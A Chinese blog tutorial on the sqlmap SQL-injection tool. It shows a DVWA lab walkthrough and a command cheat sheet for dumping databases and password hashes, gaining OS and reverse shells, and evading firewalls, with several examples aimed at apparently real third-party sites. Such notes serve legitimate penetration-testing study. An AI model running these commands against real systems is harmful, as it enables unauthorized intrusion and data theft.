zoukankan      html  css  js  c++  java
  • sqlmap的浅研究

    sqlmap注入工具:

      sqlmap 是一个开源的渗透测试工具,他可以自动的检测和利用SQL注入漏洞;sqlmap配置了一个强大功能的检测引擎,如果URL存在注入漏洞,它就可以从数据库中提取数据,完成注入。

      sqlmap 是基于Python编写的,只要有python环境就可以使用sqlmap工具。

      sql注入包括:SQL盲注、union注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术。

    使用sqlmap:

    一般步骤如下:

    第一步:判断是否存在注入点

    root@kali:~# sqlmap -help
            ___
           __H__
     ___ ___[(]_____ ___ ___  {1.3#stable}
    |_ -| . [.]     | .'| . |
    |___|_  [.]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    Usage: python sqlmap [options]
    
    Options:
      -h, --help            Show basic help message and exit
      -hh                   Show advanced help message and exit
      --version             Show program's version number and exit
      -v VERBOSE            Verbosity level: 0-6 (default 1)
    
      Target:
        At least one of these options has to be provided to define the
        target(s)
    
        -d DIRECT           Connection string for direct database connection
        -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
        -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
        -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
        -m BULKFILE         Scan multiple targets given in a textual file
        -r REQUESTFILE      Load HTTP request from a file
        -g GOOGLEDORK       Process Google dork results as target URLs
        -c CONFIGFILE       Load options from a configuration INI file
    
      Request:
        These options can be used to specify how to connect to the target URL
    
        --method=METHOD     Force usage of given HTTP method (e.g. PUT)
        --data=DATA         Data string to be sent through POST (e.g. "id=1")
        --param-del=PARA..  Character used for splitting parameter values (e.g. &)
        --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
        --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
        --load-cookies=L..  File containing cookies in Netscape/wget format
        --drop-set-cookie   Ignore Set-Cookie header from response
        --user-agent=AGENT  HTTP User-Agent header value
        --random-agent      Use randomly selected HTTP User-Agent header value
        --host=HOST         HTTP Host header value
        --referer=REFERER   HTTP Referer header value
        -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
        --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr
    ETag: 123")
        --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
        --auth-cred=AUTH..  HTTP authentication credentials (name:password)
        --auth-file=AUTH..  HTTP authentication PEM cert/private key file
        --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)
        --ignore-proxy      Ignore system default proxy settings
        --ignore-redirects  Ignore redirection attempts
        --ignore-timeouts   Ignore connection timeouts
        --proxy=PROXY       Use a proxy to connect to the target URL
        --proxy-cred=PRO..  Proxy authentication credentials (name:password)
        --proxy-file=PRO..  Load proxy list from a file
        --tor               Use Tor anonymity network
        --tor-port=TORPORT  Set Tor proxy port other than default
        --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
        --check-tor         Check to see if Tor is used properly
        --delay=DELAY       Delay in seconds between each HTTP request
        --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
        --retries=RETRIES   Retries when the connection timeouts (default 3)
        --randomize=RPARAM  Randomly change value for given parameter(s)
        --safe-url=SAFEURL  URL address to visit frequently during testing
        --safe-post=SAFE..  POST data to send to a safe URL
        --safe-req=SAFER..  Load safe HTTP request from a file
        --safe-freq=SAFE..  Test requests between two visits to a given safe URL
        --skip-urlencode    Skip URL encoding of payload data
        --csrf-token=CSR..  Parameter used to hold anti-CSRF token
        --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token
        --force-ssl         Force usage of SSL/HTTPS
        --hpp               Use HTTP parameter pollution method
        --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                            "import hashlib;id2=hashlib.md5(id).hexdigest()")
    
      Optimization:
        These options can be used to optimize the performance of sqlmap
    
        -o                  Turn on all optimization switches
        --predict-output    Predict common queries output
        --keep-alive        Use persistent HTTP(s) connections
        --null-connection   Retrieve page length without actual HTTP response body
        --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
    
      Injection:
        These options can be used to specify which parameters to test for,
        provide custom injection payloads and optional tampering scripts
    
        -p TESTPARAMETER    Testable parameter(s)
        --skip=SKIP         Skip testing for given parameter(s)
        --skip-static       Skip testing parameters that not appear to be dynamic
        --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
        --dbms=DBMS         Force back-end DBMS to provided value
        --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
        --os=OS             Force back-end DBMS operating system to provided value
        --invalid-bignum    Use big numbers for invalidating values
        --invalid-logical   Use logical operations for invalidating values
        --invalid-string    Use random strings for invalidating values
        --no-cast           Turn off payload casting mechanism
        --no-escape         Turn off string escaping mechanism
        --prefix=PREFIX     Injection payload prefix string
        --suffix=SUFFIX     Injection payload suffix string
        --tamper=TAMPER     Use given script(s) for tampering injection data
    
      Detection:
        These options can be used to customize the detection phase
    
        --level=LEVEL       Level of tests to perform (1-5, default 1)
        --risk=RISK         Risk of tests to perform (1-3, default 1)
        --string=STRING     String to match when query is evaluated to True
        --not-string=NOT..  String to match when query is evaluated to False
        --regexp=REGEXP     Regexp to match when query is evaluated to True
        --code=CODE         HTTP code to match when query is evaluated to True
        --text-only         Compare pages based only on the textual content
        --titles            Compare pages based only on their titles
    
      Techniques:
        These options can be used to tweak testing of specific SQL injection
        techniques
    
        --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
        --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
        --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
        --union-char=UCHAR  Character to use for bruteforcing number of columns
        --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
        --dns-domain=DNS..  Domain name used for DNS exfiltration attack
        --second-url=SEC..  Resulting page URL searched for second-order response
        --second-req=SEC..  Load second-order HTTP request from file
    
      Fingerprint:
        -f, --fingerprint   Perform an extensive DBMS version fingerprint
    
      Enumeration:
        These options can be used to enumerate the back-end database
        management system information, structure and data contained in the
        tables. Moreover you can run your own SQL statements
    
        -a, --all           Retrieve everything
        -b, --banner        Retrieve DBMS banner
        --current-user      Retrieve DBMS current user
        --current-db        Retrieve DBMS current database
        --hostname          Retrieve DBMS server hostname
        --is-dba            Detect if the DBMS current user is DBA
        --users             Enumerate DBMS users
        --passwords         Enumerate DBMS users password hashes
        --privileges        Enumerate DBMS users privileges
        --roles             Enumerate DBMS users roles
        --dbs               Enumerate DBMS databases
        --tables            Enumerate DBMS database tables
        --columns           Enumerate DBMS database table columns
        --schema            Enumerate DBMS schema
        --count             Retrieve number of entries for table(s)
        --dump              Dump DBMS database table entries
        --dump-all          Dump all DBMS databases tables entries
        --search            Search column(s), table(s) and/or database name(s)
        --comments          Check for DBMS comments during enumeration
        -D DB               DBMS database to enumerate
        -T TBL              DBMS database table(s) to enumerate
        -C COL              DBMS database table column(s) to enumerate
        -X EXCLUDE          DBMS database identifier(s) to not enumerate
        -U USER             DBMS user to enumerate
        --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
        --pivot-column=P..  Pivot column name
        --where=DUMPWHERE   Use WHERE condition while table dumping
        --start=LIMITSTART  First dump table entry to retrieve
        --stop=LIMITSTOP    Last dump table entry to retrieve
        --first=FIRSTCHAR   First query output word character to retrieve
        --last=LASTCHAR     Last query output word character to retrieve
        --sql-query=QUERY   SQL statement to be executed
        --sql-shell         Prompt for an interactive SQL shell
        --sql-file=SQLFILE  Execute SQL statements from given file(s)
    
      Brute force:
        These options can be used to run brute force checks
    
        --common-tables     Check existence of common tables
        --common-columns    Check existence of common columns
    
      User-defined function injection:
        These options can be used to create custom user-defined functions
    
        --udf-inject        Inject custom user-defined functions
        --shared-lib=SHLIB  Local path of the shared library
    
      File system access:
        These options can be used to access the back-end database management
        system underlying file system
    
        --file-read=FILE..  Read a file from the back-end DBMS file system
        --file-write=FIL..  Write a local file on the back-end DBMS file system
        --file-dest=FILE..  Back-end DBMS absolute filepath to write to
    
      Operating system access:
        These options can be used to access the back-end database management
        system underlying operating system
    
        --os-cmd=OSCMD      Execute an operating system command
        --os-shell          Prompt for an interactive operating system shell
        --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
        --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
        --os-bof            Stored procedure buffer overflow exploitation
        --priv-esc          Database process user privilege escalation
        --msf-path=MSFPATH  Local path where Metasploit Framework is installed
        --tmp-path=TMPPATH  Remote absolute path of temporary files directory
    
      Windows registry access:
        These options can be used to access the back-end database management
        system Windows registry
    
        --reg-read          Read a Windows registry key value
        --reg-add           Write a Windows registry key value data
        --reg-del           Delete a Windows registry key value
        --reg-key=REGKEY    Windows registry key
        --reg-value=REGVAL  Windows registry key value
        --reg-data=REGDATA  Windows registry key value data
        --reg-type=REGTYPE  Windows registry key value type
    
      General:
        These options can be used to set some general working parameters
    
        -s SESSIONFILE      Load session from a stored (.sqlite) file
        -t TRAFFICFILE      Log all HTTP traffic into a textual file
        --batch             Never ask for user input, use the default behavior
        --binary-fields=..  Result fields having binary values (e.g. "digest")
        --check-internet    Check Internet connection before assessing the target
        --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
        --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
        --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
        --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
        --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
        --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
        --eta               Display for each output the estimated time of arrival
        --flush-session     Flush session files for current target
        --forms             Parse and test forms on target URL
        --fresh-queries     Ignore query results stored in session file
        --har=HARFILE       Log all HTTP traffic into a HAR file
        --hex               Use hex conversion during data retrieval
        --output-dir=OUT..  Custom output directory path
        --parse-errors      Parse and display DBMS error messages from responses
        --save=SAVECONFIG   Save options to a configuration INI file
        --scope=SCOPE       Regexp to filter targets from provided proxy log
        --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
        --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
        --update            Update sqlmap
    
      Miscellaneous:
        -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
        --alert=ALERT       Run host OS command(s) when SQL injection is found
        --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")
        --beep              Beep on question and/or when SQL injection is found
        --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
        --dependencies      Check for missing (optional) sqlmap dependencies
        --disable-coloring  Disable console output coloring
        --gpage=GOOGLEPAGE  Use Google dork results from specified page number
        --identify-waf      Make a thorough testing for a WAF/IPS protection
        --list-tampers      Display list of available tamper scripts
        --mobile            Imitate smartphone through HTTP User-Agent header
        --offline           Work in offline mode (only use session data)
        --purge             Safely remove all content from sqlmap data directory
        --skip-waf          Skip heuristic detection of WAF/IPS protection
        --smart             Conduct thorough tests only if positive heuristic(s)
        --sqlmap-shell      Prompt for an interactive sqlmap shell
        --tmp-dir=TMPDIR    Local directory for storing temporary files
        --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
        --wizard            Simple wizard interface for beginner users
    sqlmap 帮助文档

    案例操作:【我们将利用sqlmap对DVWA环境下的sql注入点进行注入】

    第一步判断注入点:

    启动sqlmap对该注入URL进行判断注入点:

    在DVWA平台中,可以看出 http://192.168.2.158/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 是注入点的url,我们启动sqlmap对该url进行判断,是否存在注入点>>>

    cookie可以通过抓包程序获得或者通过F12查看Storage-Cookies。

     

    如上,我们则可以认为我们得知了该URL存在GET注入点,同时我们也得到数据库版本和服务容器的相关信息。

    【ps:--batch是自动执行的含义】

    第二步:获取数据库【--dbs】

    第三步:查看当前应用所使用的数据库【--current-db】

    第四步:列出指定数据库的所有表【--table -D "库名"】

    第五步:读取指定表中的字段名【--columns -T "表名" -D "库名"】

     第六步:读取字段内容【--dump -C "字段1,字段2,字段…" -T “[表名]” -D “库名”】

    【内容会保存在一个文档内】


     SQLMAP参数说明:【sqlmap严格区分命令参数的大小写  ; sqlmap命令参数支持叠合使用】

    1、测试注入点

    sqlmap -u "[URL]" [--cookie=""] --batch  >> 自动检测是否存在注入点
    sqlmap -u "[URL]" --privileges   >> 测试注入点权限
    sqlmap -u "[URL]" --privileges -U XX  >> 测试XX用户权限

    2、执行Shell命令

    sqlmap -u [URL] --os-cmd="XXXX"   >> 执行 xxxx 命令
    sqlmap -u [URL] --os-shell   >> 系统交互的shell

    3、获取当前数据库、表、字段信息

    sqlmap -u [URL] --dbs   >> 所有数据库名
    sqlmap -u [URL] --users >> 所有用户信息
    sqlmap -u [URL] --passwords >> 用户密码 sqlmap
    -u [URL] --current-db >> 当前应用的数据库名
    sqlmap -u [URL] --current-user >> 当前应用的数据库名
    sqlmap -u [URL] --tables -D "库名" >> 列出指定数据库中的表
    sqlmap -u [URL] --columns -T "表名" -D "库名" >> 列出指定库.表中的字段信息
    sqlmap -u [URL] --dump -all >> 所有数据库所有表
    sqlmap -u [URL] --dbms 指定数据库类型

    —D:指定数据库名 
    -T:指定表名
    -C:指定字段
    -u:注入点URL
    -f:指纹判断数据库类型
    -b:获取数据库版本信息
    -p:指定可测试参数
    -os:指定系统

    4、POST提交方式

    sqlmap -u [URL] --data "POST参数"

    5、回显等级

    sqlmap -u [URL] --dbs -v *

    0:只显示python返回的信息
    1:显示信息和警告信息
    2:显示调试信息
    3:有效载荷注入
    4:显示HTTP请求
    5:显示HTTP响应头
    6:显示HTTP响应页面的内容

    6、注入HTTP请求

    sqlmap -r XXX.txt  --dbs  >> xxx.txt 为http请求

    sqlmap
    
    -u #注入点
    -f #指纹判别数据库类型
    -b #获取数据库版本信息
    -p #指定可测试的参数(?page=1&id=2 -p “page,id”)
    -D “” #指定数据库名
    -T “” #指定表名
    -C “” #指定字段
    -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
    –columns #列出字段
    –current-user #获取当前用户名称
    –current-db #获取当前数据库名称
    –users #列数据库所有用户
    –passwords #数据库用户所有密码
    –privileges #查看用户权限(–privileges -U root)
    -U #指定数据库用户
    –dbs #列出所有数据库
    –tables -D “” #列出指定数据库中的表
    –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
    –dump-all #列出所有数据库所有表
    –exclude-sysdbs #只列出用户自己新建的数据库和表
    –dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
    –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
    –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
    –os #指定系统(Linux,Windows)
    -v #详细的等级(0-6)
    0:只显示Python的回溯,错误和关键消息。
    1:显示信息和警告消息。
    2:显示调试消息。
    3:有效载荷注入。
    4:显示HTTP请求。
    5:显示HTTP响应头。
    6:显示HTTP响应页面的内容
    –privileges #查看权限
    –is-dba #是否是数据库管理员
    –roles #枚举数据库用户角色
    –udf-inject #导入用户自定义函数(获取系统权限)
    –union-check #是否支持union 注入
    –union-cols #union 查询表记录
    –union-test #union 语句测试
    –union-use #采用union 注入
    –union-tech orderby #union配合order by
    –method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
    –cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
    –referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
    –user-agent “” #自定义user-agent
    –proxy “http://127.0.0.1:8118″ #代理注入
    –string “” #指定关键词
    –threads    #采用多线程(–threads 3)
    –sql-shell #执行指定sql命令
    –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
    –file-read #读取指定文件
    –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
    –file-dest #要写入的文件绝对路径
    –os-cmd=id #执行系统命令
    –os-shell #系统交互shell
    –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
    –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
    –os-smbrelay #
    –os-bof #
    –reg-read #读取win系统注册表
    –priv-esc #
    –time-sec= #延迟设置 默认–time-sec=5 为5秒
    -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
    –eta #盲注
    
    sqlmap.py -u url  判断
    sqlmap.py -u url --is-dba 判断是不是root权限
    sqlmap.py -u url --is-dba -v   这是判断当前数据库的使用者是否是dba
    sqlmap.py -u url --users -v 0  这句的目的是列举数据库的用户
    sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码
    sqlmap.py -u url --privileges -v 0 这是判断当前的权限
    sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来
    sqlmap.py -u url --tables -D '' 爆表
    sqlmap.py -u url --columns -T ‘表’-D ‘数据库’爆列
    sqlmap.py -u url --dump -T '' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内
    sqlmap.py -u url --dump -all -v 0
    -------------------------------------------------------------------------------------------------------------------------
    --current-user 看看权限……
    
    
    
    
    
    
                  access注入
    sqlmap.py -u "url"       ==检测。
    
    sqlmap.py -u "url" --tables     ==猜表。
    
    sqlmap.py -u "url" --columns -T "表名"       ==猜字段
    
    sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"      ==暴表里面的字段的内容
    
    
    
    
                  Mysql数据注入
    sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)
    
    sqlmap.py -u url --is-dba 判断是不是root权限
    
    sqlmap.py -u url --dbs   ==获取数据库
    
    sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表
    
    sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段
    
    sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容
    
    
    
                  Cookie注入
    
         注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
    
    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2    ==暴表名
    
    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的字段
    
    sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 ==暴表的字段内容
    
    
    
    
    
                 post登陆注入 mssql
    
    sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"
    
    sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==获取数据库名
    
    sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   ==列表
    
    sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  ==暴字段
    
    sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  ==暴字段内容
    
    
    
    
                 直接拿shell或者执行命令(需要权限很大跟物理路径)
    
    sqlmap.py -u url --os-shell
    
    sqlmap.py -u url --os-cmd=ipconfig
    
    
    
                伪静态注入
            注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)
    
    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs   ==获取数据库名
    
    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "数据名"    ==获取数据库当中的表
    
    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "数据名" -T "表名"  ==获取数据库的表中的字段
    
    sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" ==获取数据库的表中的字段内容
    
    
    
    
                请求延时(一般突破防火墙)
    
    第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)
    第二种方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)
    
    可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3
    
    
         利用文件来注入
    
    
    GET /?id=1 HTTP/1.1
    Host: www.why25.com
    
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
    
    x-forwarded-for: 1*(存在注入)
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    
    Accept-Encoding: gzip, deflate
    
    Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638
    
    Connection: keep-alive
    
    Cache-Control: max-age=0
    
    
    
    
    
    星号(*) 指定注入点
    
    
    
    sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1  注意: --level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的
    
    别人再次整理过的
    
    
    -p               指定测试参数
    -b               获取banner
    --dbs             列举数据库
    --is-dba          是否是管理员权限
    --current-db          当前数据库
    --current-user          当前用户
    --tables          列举数据库的表名
    --count               检索所有条目数
    --columns          获取表的列名
    --dump                获取表中的数据,包含列
    --dump-all          转存DBMS数据库所有表项目
    --level               测试等级(1-5),默认为1
    -v                  显示详细信息
    
    读取数据库--->读取表---->读取表的列---->获取内容
    
    -D                 指定数据库
    
    -T               指定表
    
    -C               指定列
    
    --dbms=mysql  oracle mssql          指定数据库
    =======================================
    
    参照官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage。
    
    -b     获取banner
    -p     指定测试参数
    -g     从google中获取URL , -g "inurl:aspx?id="
    --gpage=GOOGLEPAGE     指定Google页码
    --union-check     是否支持union 注入
    --union-cols      union 查询表记录
    --union-test      union 语句测试
    --union-use      采用union 注入
    --proxy     代理注入
    ---threads     采用多线程
    --user-agent      自定义user-agent
    --referer=REFERER     HTTP referer头
    --proxy=PROXY     使用代理
    --string     指定关键词
    --tor     创建tor的匿名网络
    --predict-output     常见的查询输出预测
    --keep-alive     使用持久HTTP(S)连接
    --eval=EVALCODE     所使用HTTP参数污染
    -a,-all     查询所有
    --hostname     主机名
    --is-dbs     是否是管理员权限
    --users     枚举所有用户
    --passwords     枚举所有用户密码
    --roles     枚举所有用户角色
    --schema     枚举DBMS模式
    --count     检索所有条目数
    --dump     转存DBMS数据库表项目,需要制定字段名称(列名称)
    --dump-all     转存DBMS数据库所有表项目
    --search     搜索列,表或数据库名称
    --exclude-sysdbs     在枚举表时排除系统数据库
    --sql-query=query     执行SQL语句
    --file-read=RFILE     读取操作
    --file-write=WFILE     写入操作
    --file-dest=DFILE     绝对路径写入
    --reg-read     阅读一个Windows注册表项值
    --reg-add     增加一个Windows注册表项值数据
    --reg-del     删除一个Windows注册表项值数据
    --reg-key=REGKEY     Windows注册表键
    --reg-value=REGVAL     Windows注册表键值
    -- reg-data=REGDATA     Windows注册表的键值项数据
    --reg-type=REGTYPE     Windows注册表键的值类型
    --csv-del=CSVDEL     划定CSV输出中使用的字符 (default ",")
    --dump-format=DUMP     转存数据格式(CSV (default), HTML or SQLITE)
    --hex     使用十六进制数据检索功能
    --output-dir=ODIR     自定义输出的目录路径
    --update     更新SQLMap
    --purge-output     安全的删除所有内容输出目录
    --check-waf     启发式检查WAF / IPS / IDS保护
    --os-pwn     反弹shell
    --cookie=COOKIE     指定HTTP Cookie ,预登陆
    --random-agent     使用随机选定的User-Agent头
    --tamper=TAMPER     使用SQLMap插件
    --level     测试等级(1-5),默认为1
    sqlmap 基础笔记
  • 相关阅读:
    从程序员到主编顺利转型
    DAS、NAS、SAN区别
    网线知识全接触
    浅议DAS、NAS、SAN区别
    写辞职信要注意的五个要点
    劳动合同签订中的法律问题
    辞职了,离职手续怎么办?
    系统集成工程师知识储备
    还是关于 标记当前
    一个JSON 实例 jQuery 解析JSON数据
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/10946930.html
Copyright © 2011-2022 走看看